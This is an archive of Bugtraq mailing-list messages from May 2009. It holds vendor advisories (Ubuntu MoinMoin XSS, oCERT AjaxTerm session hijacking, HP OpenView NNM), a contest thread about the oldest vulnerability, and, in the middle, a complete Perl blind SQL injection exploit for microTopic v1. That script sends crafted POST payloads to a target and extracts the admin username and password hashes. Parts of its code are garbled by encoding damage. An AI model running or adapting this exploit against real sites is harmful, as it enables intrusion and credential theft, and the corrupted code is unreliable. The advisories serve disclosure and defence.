X-Spam-Checker-Version: SpamAssassin 3.2.5-saunamods_5.03_experimental
(2008-06-10) on cfo-10.mail.saunalahti.fi
X-Spam-Level:
X-Spam-Status: No, score=0.0 required=7.0 tests=none shortcircuit=no
autolearn=no version=3.2.5-saunamods_5.03_experimental
Date: Mon, 11 May 2009 17:29:23 +0300 (EEST)
From: Juha-Matti Laurio <juha-matti.laurio@netti.fi>
To: bugtraq@securityfocus.com
Message-ID: <646511.2432031242052163781.JavaMail.juha-matti.laurio@netti.fi>
Subject: Five days left to find the oldest data loss incident
MIME-Version: 1.0
Content-Type: text/plain; Charset=iso-8859-1; Format=Flowed
Content-Transfer-Encoding: 7bit
X-Mailer: Saunalahti webmail -
http://saunalahti.fi
X-Originating-IP: 194.197.118.139
Status:
The oldest documented vulnerability in computer security world is password file disclosure vulnerability from 1965, found by Mr. Ryan Russell.
Open Security Foundation launched a competition in April to find the oldest documented data loss incident.
They have announced that the last day to make a submission is next Friday - 15th May.
The contest page is located at
http://datalossdb.org/oldest_incidents_contest
Juha-Matti
From - Mon May 11 12:02:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078ec
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40279-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id CD3E7EC13E
for <lists@securityspace.com>; Mon, 11 May 2009 11:54:21 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 78601143732; Mon, 11 May 2009 09:49:22 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21781 invoked from network); 11 May 2009 15:33:10 -0000
Date: Mon, 11 May 2009 09:24:20 -0600
Message-Id: <200905111524.n4BFOK9V024387@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: michael@mdempfle.de
To: bugtraq@securityfocus.com
Subject: Re: TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
Status:
Wrong title - because the exploit only is for local file include - no Remote Code execution.
- Mike
From - Mon May 11 12:42:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078ed
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40278-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 2BA46EC13E
for <lists@securityspace.com>; Mon, 11 May 2009 12:38:26 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 48DA4143728; Mon, 11 May 2009 09:49:20 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21192 invoked from network); 11 May 2009 15:21:46 -0000
Subject: [USN-774-1] MoinMoin vulnerability
From: Marc Deslauriers <marc.deslauriers@canonical.com>
Reply-To: Ubuntu Security <security@ubuntu.com>
To: ubuntu-security-announce@lists.ubuntu.com
Cc: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-Fh1kA1H7MTl1bsff/aQC"
Date: Mon, 11 May 2009 11:21:34 -0400
Message-Id: <1242055294.31390.2.camel@mdlinux.technorage.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.26.1
Status:
--=-Fh1kA1H7MTl1bsff/aQC
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
===========================================================
Ubuntu Security Notice USN-774-1 May 11, 2009
moin vulnerability
CVE-2009-1482
===========================================================
A security issue affects the following Ubuntu releases:
Ubuntu 8.10
Ubuntu 9.04
This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.
The problem can be corrected by upgrading your system to the
following package versions:
Ubuntu 8.10:
python-moinmoin 1.7.1-1ubuntu1.2
Ubuntu 9.04:
python-moinmoin 1.8.2-2ubuntu2.1
In general, a standard system upgrade is sufficient to effect the
necessary changes.
Details follow:
It was discovered that MoinMoin did not properly sanitize its input when
attaching files, resulting in cross-site scripting (XSS) vulnerabilities.
With cross-site scripting vulnerabilities, if a user were tricked into
viewing server output during a crafted server request, a remote attacker
could exploit this to modify the contents, or steal confidential data,
within the same domain.
Updated packages for Ubuntu 8.10:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/m/moin/moin_1.7.1-1ubuntu1.2.diff.gz
Size/MD5: 70843 b324c3563a0455831aac793c235ad553
http://security.ubuntu.com/ubuntu/pool/main/m/moin/moin_1.7.1-1ubuntu1.2.dsc
Size/MD5: 1350 ae2583d23ef966e67bb6a7df4c002dba
http://security.ubuntu.com/ubuntu/pool/main/m/moin/moin_1.7.1.orig.tar.gz
Size/MD5: 5468224 871337b8171c91f9a6803e5376857e8d
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/m/moin/python-moinmoin_1.7.1-1ubuntu1.2_all.deb
Size/MD5: 4498492 7280f01e0199a258dd4b720b8c6eaf84
Updated packages for Ubuntu 9.04:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/m/moin/moin_1.8.2-2ubuntu2.1.diff.gz
Size/MD5: 94431 35acf54b1a7351568fc80c2e3711bbf8
http://security.ubuntu.com/ubuntu/pool/main/m/moin/moin_1.8.2-2ubuntu2.1.dsc
Size/MD5: 1350 62c722d613bcded1fb4ff93729eec31a
http://security.ubuntu.com/ubuntu/pool/main/m/moin/moin_1.8.2.orig.tar.gz
Size/MD5: 5943057 b3ced56bbe09311a7c56049423214cdb
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/m/moin/python-moinmoin_1.8.2-2ubuntu2.1_all.deb
Size/MD5: 3902618 ea5f597ed7b0cc76af72b3e5c65cfaa2
--=-Fh1kA1H7MTl1bsff/aQC
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEABECAAYFAkoIQnsACgkQLMAs/0C4zNo8dwCgt75G2ARff75EXC38gv7GaScA
D8IAn2DFiTyC6e2XtTAul9WyMIQUXsFu
=3GWm
-----END PGP SIGNATURE-----
--=-Fh1kA1H7MTl1bsff/aQC--
From - Mon May 11 13:12:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078ef
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40281-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id C1EBBEC13E
for <lists@securityspace.com>; Mon, 11 May 2009 13:08:50 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 5DB0614380B; Mon, 11 May 2009 11:04:09 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 24943 invoked from network); 11 May 2009 16:56:26 -0000
Date: Mon, 11 May 2009 17:43:41 +0100
From: Andrea Barisani <lcars@ocert.org>
To: ocert-announce@lists.ocert.org, oss-security@lists.openwall.com,
bugtraq@securityfocus.com
Subject: [oCERT-2009-004] AjaxTerm session id collision
Message-ID: <20090511164341.GL4350@inversepath.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-GPG-Key: 0x864C9B9E
X-GPG-Fingerprint: 0A76 074A 02CD E989 CE7F AC3F DA47 578E 864C 9B9E
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Status:
#2009-004 AjaxTerm session id collision
Description:
AjaxTerm, an open source web based terminal, uses a form of random session id
generation which can lead to remote session hijacking.
The ajaxterm.js script allocates session ids on the client side using the
following method:
var sid=""+Math.round(Math.random()*1000000000);
The javascript random function used in combination with round does not provide
sufficient entropy for a unique session id, as the session id is the only
unique identifier for the user session it is possible for an attacker to brute
force the space of possible id values and attach an existing connection.
This vulnerability also allows Denial Of Service attacks as it is possible to
exhaust the available session ids when performing a brute force attack and,
depending on the configured AjaxTerm child command, system resources.
Affected version:
AjaxTerm <= 0.10
Fixed version:
Unfortunately oCERT has been unable to get feedback from AjaxTerm maintainers
and the package seems unmaintained, it's therefore suggested to avoid AjaxTerm
usage on production or any environment where strong security is needed.
Credit: Initial vulnerability report provided by Michael Greb <mgreb [at]
linode [dot] com>.
CVE: N/A
Timeline:
2009-03-12: vulnerability report received
2009-03-12: contacted AjaxTerm maintainer
2009-04-18: oCERT contacts various vendors security team seeking for
developers familiar with AjaxTerm
2009-04-28: due to lack of feedback oCERT asks reporter to disclose the
issue
2009-04-29: reporter agrees to disclosure
2009-05-11: advisory release
References:
Permalink:
http://www.ocert.org/advisories/ocert-2009-004.html
--
Andrea Barisani | Founder & Project Coordinator
oCERT | Open Source Computer Emergency Response Team
<lcars@ocert.org>
http://www.ocert.org
0x864C9B9E 0A76 074A 02CD E989 CE7F AC3F DA47 578E 864C 9B9E
"Pluralitas non est ponenda sine necessitate"
From - Mon May 11 13:32:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078f0
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40282-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 890E2EC13E
for <lists@securityspace.com>; Mon, 11 May 2009 13:23:25 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 7970B143810; Mon, 11 May 2009 11:19:59 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 26080 invoked from network); 11 May 2009 17:16:28 -0000
Date: 11 May 2009 17:16:28 -0000
Message-ID: <20090511171628.17588.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: y3nh4ck3r@gmail.com
To: bugtraq@securityfocus.com
Subject: (POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial
Release-->
Status:
#!/usr/bin/perl
#---------------------------------------------------------------------------
#(POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial Release-->
#---------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB:
http://sourceforge.net/projects/microtopic/
#-->DOWNLOAD:
http://sourceforge.net/projects/microtopic/
#-->DEMO: N/A
#-->CATEGORY: CMS / Portal
#-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb
# Secure - Hashed challenge/response login Flexible...
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3.0.10
#-->DORK: "N/A"
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: v-1
#-->Discovered Bug date: 2009-05-08
#-->Reported Bug date: 2009-05-08
#-->Fixed bug date: 2009-05-10
#-->Info patch (v1.01):
http://sourceforge.net/projects/microtopic/
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#
#------------
#VULN FILES:
#------------
#
#Path --> [HOME_PATH]/admin/utopic.php
#
#It contents:
#
# $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'
# AND ip='$_SERVER[REMOTE_ADDR]'";
# $sql=SendSQL($query);
#
#Path --> [HOME_PATH]/admin/mysql.php
#
#It contents:
#
#function SendSQL($query){
# $sql=mysql_query($query) or die("CANNOT ".$query);
# return $sql;
# }
#
#------------
#CONDITIONS:
#------------
#
#
#**magic quotes=off
#
#
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(POST => $_[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n";
print "\t[XxX] USAGE MODE: [XxX]\n";
print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";
print "\t[XxX] [HOST]: Web.\n";
print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";
print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n";
}
sub error {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS NOT VULNERABLE!\n";
print "\tMaybe --> \n";
print "\t1.-Patched\n";
print "\t2.-topic doesn't exist\n";
print "\t3.-Magic quotes ON\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB IS VULNERABLE!\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...Waiting...\n";
print "\t-----------------------------------------------------------------\n";
}
sub exploit {
my $result="";
$k=1;
$zH;
while(($k<2) && ($z<6)){
$blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";
$output=&request($_[0],$blindsqlpost);
if ( $output =~ (/\<\/head\>\<body\>/))
{
$result=$result.chr($z);
$k++;
$zG;
}
if($z=W)
{
$z�;
}
#new char
$z++;
}
return $result;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## microTopic v1 Initial Release - BSQLi Exploit ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Condition: magic quotes=off ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $topic=$ARGV[2];
#Build the uri
if($path eq "no-path"){
$finalhost="
http://".$host."/index.php?topic=".$topic;
}else{
$finalhost="
http://".$host."/".$path."/index.php?topic=".$topic;
}
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
$finalrequest = $finalhost;
#Testing blind sql injection
$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql injection
$output=&request($finalrequest,$blindsqlpost);
if ( $output !~ (/\<\/head\>\<body\>/))
{
#blind sql injection is available
&testedblindsql;
}else{
#Not injectable
&error;
exit(1);
}
#Bruteforcing user...
$usernamehash=&exploit($finalrequest,$topic,'username');
#Bruteforcing pass...
$passhash=&exploit($finalrequest,$topic,'password');
print "\n\t\t*************************************************\n";
print "\t\t**** EXPLOIT EXECUTED WITH SUCCESS ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUsername(md5 hash):".$usernamehash."\n";
print "\t\tPassword(md5 hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done
From - Mon May 11 14:32:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078f4
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40280-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 15E7EEC10E
for <lists@securityspace.com>; Mon, 11 May 2009 14:27:03 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id BD22B1437E4; Mon, 11 May 2009 11:03:55 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 24711 invoked from network); 11 May 2009 16:52:05 -0000
Cc: bugtraq@securityfocus.com
Message-Id: <68F9C2B6-B3D5-4B2B-937F-82713E3F4EF7@kyx.net>
From: Dragos Ruiu <dr@kyx.net>
To: Juha-Matti Laurio <juha-matti.laurio@netti.fi>
In-Reply-To: <646511.2432031242052163781.JavaMail.juha-matti.laurio@netti.fi>
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
Mime-Version: 1.0 (Apple Message framework v930.3)
Subject: Re: Five days left to find the oldest data loss incident
Date: Mon, 11 May 2009 09:39:47 -0700
References: <646511.2432031242052163781.JavaMail.juha-matti.laurio@netti.fi>
X-Mailer: Apple Mail (2.930.3)
Status:
On 11-May-09, at 7:29 AM, Juha-Matti Laurio wrote:
> The oldest documented vulnerability in computer security world is
> password file disclosure vulnerability from 1965, found by Mr. Ryan
> Russell.
>
> Open Security Foundation launched a competition in April to find the
> oldest documented data loss incident.
>
> They have announced that the last day to make a submission is next
> Friday - 15th May.
>
> The contest page is located at
>
http://datalossdb.org/oldest_incidents_contest
>
> Juha-Matti
Mechanical computers are computers. The loss and the algorithmic crack
of the Enigma machine circa 1939 should count - the story and break
of the more difficult 4 rotor Naval Machine at Bletchley park
recovered from the U-boat and cracked in 1941 is the most famous.
http://users.telenet.be/d.rijmenants/en/enigmauboats.htm
But I would nominate the break of the 3 Rotor Enigma circa 1939, by
the Polish, as the first documented computer security vulnerability.
http://www.avoca.ndirect.co.uk/enigma/index.html
cheers,
--dr
--
World Security Pros. Cutting Edge Training, Tools, and Techniques
London, U.K. May 27/28 2009
http://eusecwest.com
Tokyo, Japan November 4/5 2009
http://pacsec.jp
Vancouver, Canada March 22-26
http://cansecwest.com
pgpkey
http://dragos.com/ kyxpgp
From - Mon May 11 15:42:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078f6
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40284-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id E91D4EC13D
for <lists@securityspace.com>; Mon, 11 May 2009 15:39:17 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 11079143879; Mon, 11 May 2009 13:29:17 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 4492 invoked from network); 11 May 2009 18:45:42 -0000
To: bugtraq@securityfocus.com
From: security-alert@hp.com
Subject: [security bulletin] HPSBMA02349 SSRT080043 rev.3 - HP OpenView Network Node Manager (OV NNM), Remote Unauthorized Access to Data
Date: Mon, 11 May 2009 11:41:40 -0700
Sender: secure@hpchs.cup.hp.com
Message-Id: <20090511184140.DFF69BFF7@hpchs.cup.hp.com>
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01496048
Version: 3
HPSBMA02349 SSRT080043 rev.3 - HP OpenView Network Node Manager (OV NNM), Remote Unauthorized Access to Data
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2008-07-08
Last Updated: 2009-05-11
Potential Security Impact: Remote unauthorized access to data
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential vulnerability has been identified with HP OpenView Network Node Manager (OV NNM). The vulnerability could be exploited remotely to gain unauthorized access to data.
References: CVE-2008-0068
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP OpenView Network Node Manager (OV NNM) v7.01, v7.51, v7.53 running on Windows
BACKGROUND
CVSS 2.0 Base Metrics
==============================================Reference Base Vector Base Score
CVE-2008-0068 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0
==============================================Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has made a patch available to resolve the vulnerability.
The patches are available from
http://itrc.hp.com
OV NNM v7.53
===========Operating System
Resolved in Patch
Windows
NNM_01193 or subsequent
OV NNM v7.51
==========Upgrade to NNM v7.53 and apply the NNM v7.53 resolution listed above. Patch bundles for upgrading from NNM v7.51 to NNM v7.53 are available here:
ftp://nnm_753:update@hprc.external.hp.com/
OV NNM v7.01
==========Operating System
Resolved in Patch
Windows
NNM_01194 or subsequent
PRODUCT SPECIFIC INFORMATION
None
HISTORY
Version:1 (rev.1) - 8 July 2008 Initial release
Version:2 (rev.2) - 15 October 2008 Patch available for NNM v7.53
Version:3 (rev.3) - 11 May 2009 Patch available for NNM v7.01
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription:
http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit:
http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
�Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSggh+OAfOvwtKn1ZEQLmmgCfRuHYMcl1iFoxw+A56B4aBjyMAOAAoIEJ
XQiBLik+5ATbuR+6XcfAf38U
=W+IL
-----END PGP SIGNATURE-----
From - Mon May 11 16:22:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078f7
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40283-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id A8B5BEC13D
for <lists@securityspace.com>; Mon, 11 May 2009 16:14:51 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 7A3E7143721; Mon, 11 May 2009 13:29:07 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 4443 invoked from network); 11 May 2009 18:45:38 -0000
To: bugtraq@securityfocus.com
From: security-alert@hp.com
Subject: [security bulletin] HPSBMA02348 SSRT080033 rev.2 - HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code, Denial of Service (DoS)
Date: Mon, 11 May 2009 11:41:00 -0700
Sender: secure@hpchs.cup.hp.com
Message-Id: <20090511184101.5A465BFBC@hpchs.cup.hp.com>
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01495949
Version: 2
HPSBMA02348 SSRT080033 rev.2 - HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code, Denial of Service (DoS)
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2008-07-08
Last Updated: 2009-05-11
Potential Security Impact: Remote execution of arbitrary code, Denial of Service (DoS)
Source: Hewlett-Packard Company, HP Software Security Response Team
